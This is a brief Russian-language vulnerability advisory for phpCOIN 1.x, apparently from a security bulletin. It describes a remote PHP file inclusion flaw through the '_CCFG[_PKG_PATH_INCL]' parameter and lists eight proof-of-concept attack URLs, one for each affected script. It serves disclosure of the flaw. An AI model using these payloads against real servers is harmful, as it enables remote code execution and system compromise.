Программа: phpCOIN 1.x

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "CCFG[_PKG_PATH_INCL]" сразу нескольких скриптов.

Пример:

http://[host]/coin_includes/api.php?_CCFG[_PKG_PATH_INCL]=[file]
http://[host]/coin_includes/common.php?_CCFG[_PKG_PATH_INCL]=[file]
http://[host]/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=[file]
http://[host]/coin_includes/core.php?_CCFG[_PKG_PATH_INCL]=[file]
http://[host]/coin_includes/custom.php?_CCFG[_PKG_PATH_INCL]=[file]
http://[host]/coin_includes/db.php?_CCFG[_PKG_PATH_INCL]=[file]
http://[host]/coin_includes/redirect.php?_CCFG[_PKG_PATH_INCL]=[file]
http://[host]/coin_includes/session_set.php?_CCFG[_PKG_PATH_INCL]=[file]



Оставить мнение